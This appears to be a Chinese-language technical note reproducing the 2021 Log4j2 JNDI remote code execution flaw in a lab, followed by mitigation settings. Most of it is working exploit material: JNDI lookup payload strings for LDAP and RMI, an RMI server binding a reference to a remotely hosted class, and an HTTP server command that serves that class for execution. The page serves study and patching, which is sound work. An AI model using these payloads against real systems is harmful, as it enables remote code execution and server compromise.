log4j2-issue
2021-12-10 log4j漏洞处理
(代码地址)[http://gitlab.foxhello.com/challenge/log4j2-issue]
示例 1:
1.1、启动rmi server
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit
1
| java -jar ~/Downloads/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "127.0.0.1" -C "open /Applications/Safari.app"
|
1.2、启动org.example.Log4jRCE
1 2 3
| # 端口、路径见1中打印的日志
logger.error("${jndi:ldap://192.168.31.212:1389/mwpbcb}");
|
示例 2:
2.1、编写org.example.RMIServer
指定路径和端口
1 2 3 4 5 6 7 8
| LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099!"); // 前两个参数为类名,第三个参数为远程类地址 Reference reference = new Reference("Test", "Test", "http://192.168.31.212:8080/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("evil", referenceWrapper);
|
2.2、编写漏洞攻击方法Test
1 2 3 4 5
| public class Test { static { System.out.println("你好 log4j2"); } }
|
2.3、在编译后的class目录下,启动web服务
1
| python3 -m http.server 8080
|
2.4、启动org.example.Log4jRCE,可执行漏洞攻击类Test
1
| logger.error("${jndi:rmi://192.168.31.212:1099/evil}");
|
解决方法
- 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
- 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true
- 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”
注意:springboot2以上,使用logback;只有log4j-api包,不存在漏洞,使用log4j-core实现类存在问题
运用场景
- 在服务器中执行方法,如调起浏览器
2、服务器宕机
3、运行其他应用的服务 ——— 远程调用
参考
- 令无数程序员加班的 Log4j2 远程执行漏洞复现